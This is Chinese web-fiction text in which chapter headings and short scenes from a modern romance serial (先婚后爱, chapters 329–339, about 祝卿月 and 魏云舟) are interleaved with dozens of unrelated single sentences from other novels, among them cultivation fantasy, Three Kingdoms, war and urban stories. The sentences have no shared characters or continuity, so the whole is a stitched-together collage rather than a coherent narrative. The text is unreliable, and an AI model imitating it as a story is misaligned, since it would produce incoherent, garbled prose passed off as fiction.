“好吧,你把他大卸八块,我等着你。”他站起身,伸了个懒腰,在沙发睡得久了,腰酸背痛。 一阵阵电流窜过的感觉在身体深处逐渐蔓延开,夏晴天一只手护着保温盒,另一只手只能紧紧的攀附着他的衣襟才不至于瘫~软下来。 “王八蛋,你有种放开老子!”见到来人,苏子君顿时怒气更甚,挣扎也更加激烈起来。 第一卷 第329章 先婚后爱(26) 祝卿月扭扭捏捏如小媳妇,魏云舟从镜子里瞥到她的小动作,轻笑一声,猛地贴上她的唇,撬开她的牙关。 看着一步步朝这边走过来的明城,李大龙和秋莲两人立刻紧张得将池尚真意挡在身后,生怕其会将其抓住送到对面的土人手中。 在一处戒备森严的墓穴内,几名执事手忙脚乱的监督着,一些雪神教弟子,将从各个墓穴中得来的宝物,分类后放进不同的空间戒指内。由执事们代为保管。 不过,好就好在曹操并不知情,曹操以为马孝全思念青衣,便肯定的认为慕容紫嫣做第八也没什么,毕竟,他五十几岁的人老婆的数量已经接近二十了。 说完话似乎为证明自己真男人,汉克斯还欠k的冲池尚真意翻了翻眼皮。 刘备一阵的叫骂声,不仅没有遭到城内的反驳,反而引起了外城百姓的共鸣,霎时间,一大批人纷纷决定跟着玄德公一同离开。 “我那还在收茶,只要质量差不多就收了,麻烦扈成兄弟让他开船去郓城石碣村,我会派商行掌柜去看货。”晁盖也没想到这个信阳来的商人后来居然成为了百货商行的茶叶大供应商。 “打扰一下,附近的森林遭到了大面积破坏,你们有什么线索吗?”被君沙拦下来了,虽然很有礼貌不过明显是看着希罗娜这幅打扮,露出了警惕地目光。 肉身太次,甚至不如他的至圣金身,这样差的仙体确实不适合他,不过为了逃命也没办法了。 在酒臭味之中,夹杂着淡淡的薰华草药膏香味,将原本尴尬的气氛驱散,只留下温柔和感动,盘旋林荆心头。 退婚——一定要退婚,这次是他们董家占理,谅他们杨家也不敢说什么话来。 “我盗能迅速逃离。”苏玲珑强调道,宁霄到底筹谋什么圈套等着她跳? 凤七七微微蹙眉,现下她身怀有孕是不能够随便用药的,她并不想要让尹黍知道,自己怀有身孕,连忙别过了头去。 当然,这样做其实也有弊端。如果是其他的人或许会觉得他们这样做也让人难以接受,不过相对于上面说的这个,这一个还勉强能够接受,其中最主要的还是,他们也只能如此。 “免了!”邓军林摆了摆手,随后把目光放在了教导大队驻守的阵地上,炮火攻击的硝烟还未散尽,村落和附近的预设阵地里,到处是打扫战场的教导大队士兵,相当的惨烈。 这也就是说如果学院和其他组织发生战斗,那么学院本身其实是处于无敌状态的。 不过就算是乔大哥死了,她也不会这样善罢甘休的,哪怕是闯进地府大闹一场,她也要把它乔大哥给就救回来。 说完,张炜扛起了地上的沙袋,摆在了战壕上,几个沙袋间预留出了架枪的射击位置,接着用另一个沙袋倒出了一些浮土,洒在沙袋上,用铁锹的锹背拍死,夯实。 公主,是在唤她吗?她可是二十一世纪军机处的特殊能力者,医学界的翘楚鬼医,什么时候变成公主? 刘昊脑中一声嗡鸣,他忽然觉得风好像停了,巨蟒那令人喘不过来气的挤压松了,周围嘈杂的议论声止了。 第一卷 第330章 先婚后爱(27) 魏云舟开车很是专心,并没有注意到祝卿月的欲言又止。 车辆启动后,他才用余光瞥了她一眼,笑问:“今晚吃得开心吗?” 说白了,她就是一个温室当中的花朵。虽然这花朵长得非常的壮实。或者说美丽也行。可是,一旦遇到风雨了,这花朵能不能存活就真的不好说了。 嫂子被我这么冷不丁一拉手,明显怔愣了一下,但她也知道我这是下意识的行为,就没有说什么,任由我拉着她的手,进了彩票店。 他说疯子之所以这么帮助郝建,有很大原因是怕他,但是如果只是怕的话,估计还不足以让抠门的疯子这么卖力。 他能够从这个老大的动作和表情当中看到这个家伙绝对没有撒谎。或者说,他已经将他所了解的全部的信息都传递给了自己。现在的独孤鸿还真的有些不好意思下手。所以,他尴尬了。虽然对方是敌人。 悲哀,还没容我呼救嘴就又被解语堵住了,手也开始不规矩起来。 “虚无化!”紫云缘狠狠的一咬牙,然后化身为虚无,融入虚无。当他化为虚无的一瞬间,吸力消失不见,黑暗也失去了自己的目标。 周氏坐在老夫人下首心疼不已,可碍于老夫人的面色却不敢开口。 “狂妄!”九幽煞狱的话语让分身的神情微微变了变,他看向九幽煞狱的眸光带上了一丝不屑、一丝愤怒,这还是他第一次露出这样的神情。 玄阴被独孤鸿阴的事情,他也是知道的。甚至那玄阴的弟子被独孤鸿给干掉,他也听说了。还有那武痴……再结合他见到独孤鸿的时候,就一直都关注他的金仙初期的修为。这些东西好像被自己给选择性的遗忘了。 但是一些状元,在科考之前就已经成家,有了家室,金榜题名高中之后,被皇帝赐婚,等于是抛妻弃子,因而造成了许多悲惨之事。 整个录音播放完成,边维始终面无表情,只是静静地听着,听着他与张家俊的对话,听着他割破张家俊颈动脉后声音低沉地咒骂,嘴角甚至还露出一丝笑容。 “欣桐,现在不是玩的时候,等这次任务结束姐姐再带你玩好不好”洪彩霞笑着揉了揉付欣桐脑袋,付欣桐点点头,颇为乖巧。 手掌抓住骨架,用力,雷霆闪烁,丝丝裂缝顺着骨架蔓延,最终,被江峰掰下来一截。 尤其是外企,更是喜欢把办公地点安排在这里,也因此使得汇丰大厦逐渐成为了京海的经济命脉所在,跟美国的华尔街一样。 “有意思!都说鬼泣剑是主宰冥王的佩剑,我今天还是第一次见识到它的威力。不过,不应该就这种程度吧? ”牛三哥说得轻松,脸颊两侧已是汗水流淌。 跟在四人后面的三目霸熊,口中发出噜噜的声响,朝着那些血色手掌呲牙咧嘴,霸兽气息外露。 听边维讲过一嘴字画,想必他家里人是有这爱好,这几天也了解过藏品市场,拿得出手藏品,起步大10万。 虽然他已经知道现在的叶修根本就不是他能够抗衡的,就算是他冲进去,也未必能够帮到什么忙,但是他还是必须冲进去。 第一卷 第331章 先婚后爱(28) 公司的挑高大厅得有十来米,这里是总部,从园区大门进来到办公楼,开车都开了十来分钟。 浅灰色的大理石地面光可鉴人,祝卿月跟着老江过了闸口,径自去往总裁专用电梯。 身着藏青色工作服的前台互相看了下,心中同时“卧槽”一声。 两人互相抵了下—— 两人走了进去,略微停顿,四处察看,没发现异常,这才继续走。 “这个自然没问题,我的名字叫做雷恩,来这里是为了和你们山迪亚人进行合作,先前我就准备说明来意,只是你们当中的一些人对我敌意太大,根本没有给我这个机会!”雷恩将刀锋缓缓收入刀鞘内,淡笑说道。 楼下,任金阑摇摇头,这个傻姑娘,都不知道人家家住哪里?家里都有什么人?靠什么生活?就这样稀里糊涂的就把自己订出去了。 顾星凉努力回想,倒是f班的同学,又一次集体用冷漠的表,被强制的喂了一大碗狗粮。 乐思甜也没跟令狐钰客气,伸手将剑拿起来,原想打量打量,谁知剑突然化为一道流光,自己飞进她的丹田里,乖乖的呆在灵越琴旁。 大巫师回到高高的屋顶上方,笼罩在大街上的黑雾渐渐散去,江天焰怒视大巫师,不顾暗卫们的劝阻,直接飞身而起,想要抢回云天歌。 今天的天气不是很好,没有太阳,但是重见天日的感觉依然令她忍不住还想哭。 而高木尚仁则整理医疗箱,说实话,他更担心晴生的问题,晴生的病情似乎不是简单的骨质增生,长的位置实在是太蹊跷了。 在任天师走后的第6天,尚羽和孩子们刚吃过早饭,拿着桃木剑比划着降魔剑法,任天师和郭林林就回来了,还带来了两辆马车。 “这海上来来往往的人太多,我怎么知道你们说的谁?海上也有不少像你们这个年纪的去跑货。”紫珍珠说道。 按照规定,出现这么大事情,他们见过贼子,定然要被带到县衙接受县令问话。 左将军常说些奇怪的话,哪怕在董卓面前也是如此,他早已领教。 “那老师我就等着你的好消息。”弗兰德很敷衍,他不想打击马红俊的积极性。 她当然也要努力地实现自己的价值,那自己的价值要如何的实现,当然是要给薛氏创造更多的价值。 看这地上摔碎的器皿,几乎不用多猜也能想到这里刚刚到底发生了什么。 张羡光的大刀一次挥砍,就能让普通的戏子鬼折掉三个,但戏子鬼是鬼,而鬼是无法被杀死的。 纵然朱厚照现在对秦邵不错,也算还是信任,但这种私密的事情,很多时候还是不好太严明,交浅言深,是人际交往中的大忌。 虽然现在众人的收入并没有多见增加,但至少俸禄方面提高的一些,且还给大臣们什么绩效工资,每月有人表现得好,还给什么奖金,弄得大家加班加点,内卷的厉害。 李宏钧吃完早餐,就拉着安宁去画室,说不能白学这么多年画,多画几幅到时候他回去带给安心。 泛亚手中的火苗变得旺盛,而后化为滔天巨焰,穷凌脚上的混沌之炁拖起黑影,每次踢腿都将火焰卷入其中而后吞食。 大长老每句话都是吼出来的,其他长老都害怕绛旋突然反驳她,那样就完了。除了二长老外,其余长老与她相比都算晚辈。 第一卷 第332章 先婚后爱(29) 祝卿月看向魏云舟,说:“那我拆了?” 她现在属实好奇,魏云舟会送她什么。 魏云舟点了点头,站在一旁宠溺地看着她。 苏灿忍不住直翻白眼,不过这幽冥说的也不错,他们这伙人先前尝试了一次,都不过是被吸走了部分生机,像琉璃他们,因为有自己的高纯度生命元液,只是虚弱了许多而已,并没有别的副作用。 毕竟之前那些骷髅兵,鬼知道是因为那人的呼喝声吓走的,还是这恐怖的嘶吼声吓走的,那数千号骷髅兵都被吓的四散而逃,让他们不得不慎重。 “真睡了还是假睡了?”他总觉得有些不对劲,炯炯有神的目光带着几分探究看着数真。 轩辕尊仍旧温和的笑了笑,“轩辕傲,我们从出生到现在,二十一年了。”下个月十七,他们就二十一岁了。 象皮乃是象族的防御力量之一,修行到极致,水火不侵,刀枪不入。寻常宝物很难伤害他们,如今齐玄易的拳罡力量竟然逼迫象石将自身的防御施展开来。 “侄儿不怕,如今武大哥已经能修行,我不想胖子一辈子当一个吃货。”外院三傻,都必须要摘掉。 皇甫绝坐在神晋殿,他的右手是欧阳清狂,精雕细琢的厅堂是以珍贵的木料建成,豪华气派自不在话下。 将下巴搁在顾念卿的肩膀上,慕容离低叹一声,情绪变得有些低落。 雪真是好东西,不管多少肮脏,都这么无声无息被隐藏在圣洁的乳白下。 他们惊骇地盯着青衫少年手里的戒指,之前所有的疑惑,一切都明白了。 一头白发在微风中纹丝不动,唯有那白色的长眉微微颤动着,这位老者的脸上同样没有一丝皱纹,而且比起王枭楚,显得更年轻一点。 “谁会给我写信?还真是奇怪”秀林不禁喃喃出声!而当秀林拆开的时候,竟然发现里面竟然比信皮还要干净,不是白纸一张又是什么? “五哥,这样吧,您再同意我们组建一支海军南海舰队陆战队,我就把这1500万美元给您了,也不用还了”载洵阻拦道。 董占云开启天灵之眼,暗中观察这一根羽毛。还没等董占云仔细观察,一道隐秘的神识就暗中在董占云身上落下记号。董占云隐隐感觉自己被什么东西缠上了,背脊有些发凉。 邓丽君往自己这里跑过来,抛开了那些无谓的烦心事,微笑着迎上去。手中拿着的鲜花已经准备递到她的手上。 五指捏动,就好像在捏一只蚂蚁一般,之前那还无比嚣张的青年,此时却双眼凸起,被云峰直接捏断了脖子,震散了魂丹,灭掉了那青年的魂! 崔封奇怪,按照正常的四季更迭顺序,先前他经历的夏季过后,应该是秋季才对,可眼前的景象,完全就像是新春将临一般。 “许芳,你怎么可以这么说话?”黎燕珊两眼发红的想要反驳许芳,怎么都没想到,多年的好友兼同学,会这么不留情面的,直接的指责和辱骂冯奕枫,这让她感到十分的难受。 就在众人咒骂范金祥地同时,王轩龙也动了。右手一抬,架住范金祥攻来的手肘,即使并没有使用真龙元气,这试探性的一击他还是能接得住的。就在挡住范金祥攻击的时候,王轩龙的另一只手也已向他挥去。 第一卷 第333章 先婚后爱(30) 明明已经醒酒了,魏云舟一亲下来,祝卿月还是迷醉了,她像一只轻飘飘的蝴蝶,找不到一个着陆点。 法师们对这方面的研究已经达到了一个很深入的程度,这一点从不断进化的法师世界本源就能看的出来。 公羊哲重重的磕了个头之后,连忙爬了起来,但是由于刚才一直跪着,时间久了膝盖吃疼,两腿发软,一下子又跪倒了,最后奋力挣扎着爬出了大殿。 “……好吧!我已经了解了。但是……大海不能够失去海军,海军也无法失去三大将!黄猿动手!”处于炎他手中的电话虫,猛地朝天怒吼了一句。 然而汤嘉宾这么个“狗头军师”是不用考虑这个问题的,因为,他死了,是被沙定洲亲手杀死的。 不过这个[出乎]的程度,实在是让他无法理解,他没有乱动,眼睛也是只留下了一条缝,觉着是不是应该以不变应万变,先探测一番再做决定? 退到边上之前鹰9观战的地方,罪提督也用道具回复HP,惜败也是败了,技不如人还有什么好说的。 众人纷纷发言,阐述自己的想法,但就和以往的许多次谈话一样,不能解决的依然是不能解决。 没错,事情就像她想的一样,橘枳正在追踪入侵华海网络的骇客,电脑上正在疯狂突破对方设下的信息保护。 除了高频率外,刮玻璃和黑板的声音让人不舒服还有一个重要原因,那就是声音太粗糙。 而就是在这两个意识的衬托之下,身为加卡的意识所化的右首就变得极为尴尬了。 好容易带着黄珊一起去了钱进川菜馆,这店老板很够意思,也很有意思,专门给他和童画留了个包间。 望着易柳月离去的背影,凌乾苦笑一声,旋即跟上了易柳月的步伐。 喝酒,交朋友?纯属浪费时间。至于因此躲过了这次算计,只能说是好人有好报了。 “好的!”李磊虽然没有看见宋子阳写的什么字,可是从校长的异色中,他看出了事情的转机。虽然还有几分狐疑,不过,还是轻松的点了下头,转而走到了门口。 只见他手中手印翻飞,忽然轻喝了一声,刚才钻入土里的一道暗之元气便从土里钻了出来,好像还包裹着什么,二人定睛一看,原来是一只噬齿鼠,这是一种低阶妖兽,实力不强,但是速度却是相当了得,而且还会钻地。 陨石仿佛被这次碰撞触动,一种不属于现在未来,早就陨落在过去的气息从中涌现,浩大的力量从远古降临下来。 前军总指挥熊阔海、中军总指挥骆凤莹,根本没有和东胜神州的道教有过什么交集,所以并不认识突然冲出来的那些道士。 顾惜玉立刻笑道:“大哥,我们就不打扰你了,先回去了。”见顾熙年没吭声,立刻拉着叶清兰手往外溜。 按照叶天的想法,如果r国鬼子能够一直采取这样的策略,吞并z国,并不是完全不可能的事情。 大哥龙自己的公司,原来都是跟嘉和在一起的,可是现在几乎就是独立的,几乎没有什么关系了。 第一卷 第334章 先婚后爱(31) 起来的时候收拾了一番,祝卿月又化了妆,选衣服就选了半天,终于选了个带花边领子的遮住了吻痕,所以到宋潭家的时候,明显迟了。 宋潭站在门口无语地看着他俩,祝卿月心虚地笑了笑:“下午补觉,睡迟了。” “大小姐啊,就差把饭喂到你嘴边了。” 刘铁不敢去看刘菲菲的眼睛,事实上,这个看似坚强的中年男人,脸上早已挂上了泪痕。 马上把这个玩笑似的想法给否定了,夜星辰和椎名在学校时可都是出了名的容易相处乐于助人,额,好吧容易相处的只有夜星辰,椎名可是出了名的冷漠。 增援的原因,才是让良平他们感到震惊的地方,原因就是,饱地受到了其他地界军队的攻击,这军队,来自机关城地界,对方是过了术水,来到了饱地的内边,对方好似知道饱地的一些情况,并没有带军队误入饱地的禁区。 一个武者,要是给他机会,说不定会给警局的人员造成伤亡,为此,陈冰才随着警对出发。 当朱重八从他们面前走过去的时候,他们感到脖子里发凉,这种感觉是如此清晰,他们是一辈子都不会忘记的。 他一步踏出,眨眼间,就出现在了千米之外,不准备坐飞机,也不准备坐高铁,而是选择了徒步回家。 他突然想起了一件事,朱重八是好长时间都没有去地主家喂牛了,也不知道那些牛长的怎么样了? “你那种记忆力还能忘记!”杀老师差异的看了看夜星辰一眼,他知道一般能记忆到这种程度是不会怎么遗忘的。 “多谢陈道友,大恩不言谢了。”另外几人也没想到竟然会这么顺利,他们甚至想好了如果陈易拒绝,接下来的对策,此时看起来全部都用不到了。 然而剑光飞纵轰轰巨响,烟尘弥漫中,那石府巨门依旧古老斑驳,不动如山。 平谷的笑声穿过天际传到了历城军区驻地,王雪锋看着台上的演奏,眼里满是微笑。 “多谢陛下美意,之莲心意已决,今生今世对阿连海角天涯,永远不离不弃。求陛下成全!”雪之莲抬起头来坚定地望着玉帝。 淡淡点头,苏沫不再多言,也不去问晴姐所说的大忙是什么。毕竟,她也说了是之前的事情,既然如此,那她还有什么必要问呢。 梦星辰不想束手待毙,一脚踹在岩壁上,反身飞向陈云锋,而陈云锋无可匹敌的一剑则刚好落在了瀑布上。 “没事的,莲儿。你自己先在这里玩会儿,我去打坐运运功,一会儿便会没事了。”李子萧站起身来,向着二楼走了过去。 此时的战场已接近尾声,张燕的三万黑山军死的死、逃的逃,最终还有几千人,跪地投降。 “主人,我已经被将繁殖的能力分化出去了,族内有专门负责生产的繁殖虫,这样我就能解放出来,更好地指挥整个虫族!”母虫解释道。 只不过此刻他们看到赵翔拿着一副对练出现在了观众席上,念着对练的名字,等她念完之后,倪思萍也拿着一副对联走了出来,同时展开在了众人的电视台的观众面前。 这世道,还当真是不用怕代步的工具,上了taxi,苏沫径直跟司机说了要去的地方。 说罢,天青狼也是不在嬉笑,他的眼神变得尖锐,紧紧盯着龙子君。 第一卷 第335章 先婚后爱(32) 丁怡太有眼力见,搞得魏云舟都有些不好意思,他微微颔首,和丁怡错了身,走到了祝卿月面前。 祝卿月仔细盯着他的表情看了半晌,没发觉什么异样。 “你吃好喝好了?”祝卿月歪着头,朝他笑了笑。 茶香四溢,这让客厅中的人也都是一脸的轻松自得,陈潇轻抿一口后也是感觉了一股清凉之风,之后就把茶杯放下,笑着点了点头。 老人深吸一口气,喃喃道:「来吧,来得好,就让我把你们彻底斩杀干净,永绝后患」。 张康泰也说道:「我也差不多,别说两三百亿了,我现在就连十个亿的现金都拿不出来,这边的投资也得向银行融资,但肯定贷不出这么多」。 不过天宝楼之人也并不是完好无损,有两人被蓝河击中,整个面门塌陷,死状异常凄惨。 烈焰岛皇城的一座平平无奇的院子里,两个老人正在下棋,一个白衣青年替他们端茶倒水,侍候在一旁。 雷豆豆和南宫婉分立两旁,纷纷开动大招,清理着两旁的妖兽,夏雨欣和姬静颜则殿后,保护着中间的李倩儿,并清理着包抄过来的其他妖兽。 “不可能!我大哥他们一定会出来!你骗人!”慕轻语指着张山的鼻子,怒气冲冲的说道。 太皇山有九条山脉,焰灵、熔灵、寒灵、青灵、磁灵、雷灵、风灵、石灵和星灵,分别对应九种灵火和九条支脉,夜阳而今处在的位置,就是青灵山脉和石灵山脉中间。 红毛被他一阵猛踢,鼻子嘴巴胸口全是血,但因他毛色暗红,看得不太直切。红毛也不是完全没有智慧,知道这人绝对惹不起,双手摊开,表示不敢反抗,李逸航见得他举动,微微一笑,收回了脚,伸出手。 自己不知道是该夸奖对方是无知者无畏呢还是初生牛犊不怕虎呢? “可是我观想了没用,冥想了也没用,现在只剩下幻想了。”叶子。 这话是什么意思,这不明白着说你南周凌连一个乞丐还不如吗?笨的像头猪一样。 她随意将周明轩家的地址报了出来,他没有想那么多,就往那里开去。 “妈妈!”他着急的坐在了梦琪的大腿上,只有坐在这里才能让他最安心。 叶子头一天入学,就被学院的学习安排吸引住了,唯一美中不足的是叶子认为只有琴师,没有其他乐器课程,是有些单调了。 一座气势雄伟,如亘古长存的巨兽般的宫殿出现在牧天与鬼尊的面前。 江楠实在是不知道自己该说什么,自己还能说什么,只能点了点头,算是回答对方的提问。眼睛不停的盯着电梯上数字的变化,实在是不想跟这个杨景辰多废话一句。 “嗡兹~”电光缭饶间一个火红骨头的骷髅弓箭手出现在众人眼前。 趁着空闲,常闲往口里丢了一粒崩豆儿,继续道:“在古玩行当里有个说法,叫做“斗口”。 渡过风萧萧冷寒的易水,飞过崇山峻岭,远古战场,而后落入秦王宫中。 下课铃一响,孙成蕙怕自己会当着自己学生的面哭出来,没敢在教室停留,便和母亲一起,悄悄去了京郊某劳改农场,第一次,也是离京前最后一次,去探望哥哥孙成伟。有这么一个不争气的哥哥,孙成蕙只好认了。 第一卷 第336章 先婚后爱(33) 院中的树叶被夕阳染成琥珀色,风一吹,在地面上落下一层斑驳的光影。 祝卿月接了电话,却因为看地上这层光影忘记了说话。 “月月?”魏云舟疑惑地重复。 “我在。”祝卿月终于回神,“我刚才看夕阳呢,忘了跟你说话。” 随着吸灵漩涡不停的卷入、吸收这处山巅的灵雾,此时山巅的一切也都在慢慢清晰起来,首先可以看清的就要当属这处“池塘”了。 尽管这样效率也翻了十倍不止,我输入星辰之力,而阿静也在一边开始忙碌的为我刷上汁液,换取符箓。 一开始“铁甲兵”还能和辽国铁骑斗个旗鼓相当,可是随着时间的不断推移,体力不支便渐渐显现了出来。柴宗训只怕能清楚的看到现在的“铁甲兵”虽拼尽全力,也开始把被辽国铁骑逼逼得步步后退。 徐冉冉把购物袋往床上一放,熟练的打开电脑登录作者专区开始打字。 叶柔心里也是疑惑,正想追过去问问,就见后面急匆匆跟着的叶三等四人。 然而让叶潇头疼的就是,眼前的这条大黑狗不知道何故会突然出现,还自称是无始大帝坐下的黑皇。先抛开无始大帝这个即便是在整个星空中也名动四方的存在不谈,能不能打得过眼前的这条黑狗叶潇心里还真有点犯嘀咕。 “还没有……莫不是碰到了什么棘手的事。”穆兰有点担心唐御,别看他表面上没事,其实心里面比谁都脆弱。 “什么也做不了吗?”我冷笑了一声,单手一挥,镜像出现,里面顿时显现出无数的画面正是朱雀部落在外围的人在四处活动。 那火符就像是道家的符咒一样,这火符的纸张很特殊,材质特别的硬。而上面有许多古怪的字符,反正陈放是一个字也不认识。 这两大强者都是何等心性的人,这么被陈放耍了一道,那绝对是恨不得将陈放碎尸万段的。 九华派掌门见雪山派掌门和雪山派少主答应,他顿时露出高兴的笑容。 在众人眼里,杨天交卷早虽然是破了高三一班的记录,但是却不被认可。 而老狗本身就没有道行了,如今更是怪怪的将身上的南明离火都收了起来,看上去就像是一个长着鳞片的大狗。 他刘浩才将楚瑶瑶甩掉,而刘雨诗和程思思又是楚瑶瑶的闺蜜。刘浩自然不想正面遇到刘雨诗和程思思。 刚刚去破坏监控的时候,赵明就将肖天一挥手就打败三百人的事情说给了丁伟,丁伟听的是瞠目结舌。 议事一直到深夜才结束,两个穿着金色袍子的神木园弟子结伴离开了大殿,两人站在白马座驾上,却并没有让地位比较低的白袍弟子来驾驭马车,而是其中一人亲自驾驶。 除了南方的山林之王野猪,这成片的山林里,云豹、山猫这些大型食肉动物,也偶尔会出现,在夜色的笼罩之下,这些野兽的威胁会大增,陈崇山与阿黄难以招架。 远在东川市的宋志明,在接到电话一听林雪怡在海港市出事之后。 碧波府灭不灭,其实跟他关系不大,可令他有些愤怒的便是这逍遥子一点都不卖他的面子,他的意识分身都出面阻止了,可结果碧波府还是被灭了。 第一卷 第337章 先婚后爱(34) 祝卿月以前没试过这种黏糊糊的滋味,可魏云舟眼巴巴等着她的回答,她清了清嗓子:“反正昨晚没怎么睡好。” 杨华看向苏影湄,浅浅一笑。他真想每时每刻都能在苏影湄的身边。 也许是大家上山累了,腹中空了的感觉吧,这山顶上吃的饭菜要比平常在城里吃的东西要香的许多了。 早晨,律昊天会早早的亲自督导着厨房做营养丰富的早餐给苏影湄。然后,给苏影湄当司机,送苏影湄去公司,还把苏影湄给送到办公室。众人看了,无不眼馋的。可是,馋归馋,流言也四起。 “我现在可以称你为始祖鬼王么?”米迦勒严肃地说道,他感觉到莱恩哈特和始祖鬼王已经融合到了一起。 那么冷墨琛,他那么恨我,他是不是很累?他每天都累的精疲力尽吧? 此时,正好菜也来了,塞西便说道:“好了,大家一边吃,一边聊吧,今天尽管吃。”塞西明显不想在那个话题上说下去,当下劝大家吃起来。 “你这话什么意思?”宝贝转过身来,眼底发起愤怒的神色。什么叫不要脸?更有心机?她做错了什么?说错了什么吗? 她叹气,既然睡不着,反正去医院一趟也浪费不了多少时间,至少回来可以安心睡觉。 东大陆十大门派之一其中佛法分化为两派空无派,慈悲崖,空无派的人居无定所,看着就像是散修,但是他们的手法诡异,并且手持着莲花。 晏姝看着他们的聊天,忽然觉得那个苏字有些眼熟,就给贺之洲发了过去。 要是唐泽肯定受不了这种环境看电视,在电视上贴这么多便条不说转移注意力,也会遮挡住一部分的画面。 到了最后,玛格丽特三世‘咯咯咯’的笑了起来,她的手上冒出了一团黑色的火焰,将手上厚厚的一叠资料烧成了一片飞灰。 这金珍珠是张达送给他的赔礼,虽然说现在确实是他的,但他刚得到就转手当着对方的面卖出去,这吃相太难看了。 别看霓虹每年夏天都有烟花祭奠,但除此之外的时候想要放烟花可是很麻烦的一件事。 果不其然的,询问过月二后也同样一无所获,对方同样也没有不在场证明。 几个身体稍弱的人开始咳嗽,但咳嗽了没两声之后便哇的喷出了几大口鲜血,然后身子便彻底瘫软下来。 这人好死不死砸进了她的院子,这表明是命定的缘分,她得负这个责任。如果能医的话,就将他好生的医治,如果不能的话,那便也听天由命。 不如,施主便留下这庙,好歹也能遮风挡雨,更省了建造之功和后续钱粮。 但是衡量了一下昨夜那三人联手的威胁,刑天鲤硬生生打消了追击的冲动。他阴沉着脸,轻轻地一跺脚。 唐逍根本就没有修炼过,更不可能有什么功法,他怎么可能达到剑形之境? 不闻、不问、不见、不识,他已忘记自己有没有肉身,也不知道外界是什么情况了。 通天妙竹轻声震荡,每一次震荡,都是二十二条凌厉的剑芒当头洒下。 第一卷 第338章 先婚后爱(35) 魏云舟和程逾大眼瞪小眼:“她人呢?” “你不是明天过来?”程逾惊讶了一瞬,“月月出去吃饭了。” “她一个人?”魏云舟见家里一个人不少,不免好奇。 等攀上城墙的杜变武士超过千人的时候,开始列阵,构建城墙阵地。 一个石像一个石像的寻找,甚至徐川回想起蓝星之上一般藏东西的地方,都有机关能够转动,于是就尝试着转动一下石像,怎奈石像根本就是个固定死了的东西。 就算是躲在任何隐秘的地方,都无法阻止那些光波印记的扩散。而现在不同了,狩魔蛛的蛛丝拥有天然的屏蔽声光以及噪音扩散的作用,只是强度略有不足。 宛如鸡蛋被劈成两半,那颗光球在撼神剑的攻击下,并没有多少反抗,而是直接化成两片,光球散去的一瞬间,这片沙漠的温度便悄然散去。 凌寒城内,最繁华最庞大的府邸,无疑就是寒风府,这一位陛下亲信林寒风的府邸,占据了凌寒城中心一半的位置。 东夏狄阿鸟虽是威名赫赫,拓跋巍巍比之丝毫不差,如果陈国再添兵力攻打灵武,尤其是拓跋巍巍亲率嫡系赶到,给鄢怀晖信心绝非没有道理。 罗伊在死亡世界里继承了火之力之后,还没来得及大显身手,这时不由得心神大振,只想好好斗上一番,看看自己的本事又涨了多少。 他对杨凌自的印象本来就不好,听这么一喊,脑海里立刻就是北平原战场上的尸山血海,虽然是知道人家只是论生意,但心里,又怎么好得起来呢。 更何况是那些普通人,就算有任煌的丹‘药’在辅助,如同骁煌营内那些士兵,实力也很少能够在这段时间内突破到开元的。 初心急匆匆的出去了,方才事情安排到一半,就赶回来叫君诺吃药,抛下其他人,真是过意不去。 “呵呵,不好意思,本王才是血魔尸真正的主人,而你只是本王操控血魔尸的傀儡而已!”鬼王阴笑道,将手中的六叶聚魂草炼化入血魔尸中。 打人打脸,折辱人的时候,打脸是个很常见的事,所以在最新修改出来的剧本里,颇受宠爱的贵妃和日渐冷落的皇后之间矛盾更加明显。 风刹也感觉到敌者有所保留,若是单凭以仙魂傀儡的话自然不是对手,但对敌者的实力也大概有了些底,倒是没有特别的威胁。 汹涌狂雷,如同猛兽凶势,纵横咆哮,一波连着一波,层叠蓄力,一波强过一波,残暴凶绝的压着林辰狂轰乱炸。 陆晓晓并不知道到底发生了什么,她以为徐嘉木找自己是想聊聊上官耀,缓解一下她情绪上的低迷。 谁能给给她带来虚荣,谁能给让她被别人羡慕,那对方就是一个好的恋爱对象。 魏狗儿轻轻摇了摇头,五把勾魂锁链几乎同时朝着玄道人袭击而去。却被玄道人轻轻一掸就拨到了一边。 “不准叫爷二喵!”秒杀众人之后,凤二喵童鞋的动作并没有停止。 听到这里,教徒才罢手了。而善仪则像一条狗似得,一路跪着爬到了魔西的身边。 “可以,我当时看到的是……”我不敢怠慢,忙再次重述在棺底镜子里看到的画面。 第一卷 第339章 先婚后爱(36) 祝卿月和魏云舟骑着小电驴悠悠荡荡回了家。 他将车钥匙还给程逾,引来对方调侃:“你吃饭了没有?厨房留着呢,不过我怀疑你已经气饱了。” 魏云舟哼笑:“我已经吃过了。” “一个人吃的?”程逾问。 “我马上去查。”接触到蒙昭脸上的笑容,属下立刻白着脸说道。同时心中叫苦,本来自己王爵就心思难猜,自从和威猜接触多了之后,心思更加捉摸不定。 炎岳眼中的恐惧依旧未曾散去,萧寒居然杀了他?这里,是神炎宫的地盘。 “梵天哥哥,你帮我约北澈出来好不好?每次我约他,他都以忙为借口,推辞了。”苑初瑾一副可怜兮兮的样子,眨巴着眼睛看着顾梵天。 郑雅接到凌风的电话后就匆匆赶来了医院。看见沐子晴坐在急救室门口一点也不动。 反观严戎倒是平静的很,只在见到薄胭的瞬间眼中闪过一丝欣喜,而后便被很好的压制了下来。 一把打完退出来的时候,乔诗晗收到了邵禹翔发给自己的信息“已经申请加你了,只等着你同意了!”信息是五分钟之前发过来的,那个时候她还在游戏之中,没有看见。 ‘噗’,莫凡喉咙梗了一口气,差点呛到了,神马情况。脸皮太厚了。 昨天晚上南烟雪也不知道过了多长时间,掀开了被子看了看自己的膝盖,却发现膝盖上面任何痕迹都没有,只有涂过药,那种粘乎乎的感觉,药是刚才涂的,但是自己的腿很明显已经好多了。 陈忠和陈宸更是诧异,但也没说什么。就想到一直喜欢吉阳的杨少,两人相视了一眼。 唇齿相触,这还是莫凡和赵吉阳的第一次深情拥吻,只感觉时间在这一刻停止,天地间就他们两人,一切的一切都已经不重要。啪啪啪,不合时宜的掌声将两人拉回现实。 年轻人喋喋不休的话痨着,丝毫没有注意到四爷脑门上越来越黑的阴霾。 联盟已经是大兵压境了,这个危险已经展露在他们的面前了,他们此时没有任何的选择。 时间之力正要改变一切,但这个时候却迎来了可怕的终极吞噬之力。 “我一定会。”他就当她问的是这个,给她许下了最重的承诺,然后深深地吻住了她。 “孙驰,你特么什么意思?”听完话二旭第一个不乐意了怒气冲冲的指着孙驰就上前去。 “停止你们手上,所有的计划,否则,灵衍在这太子之位上只会越做越稳。”叶卿棠的面上虽然带笑,可是语气却多了几分强硬。 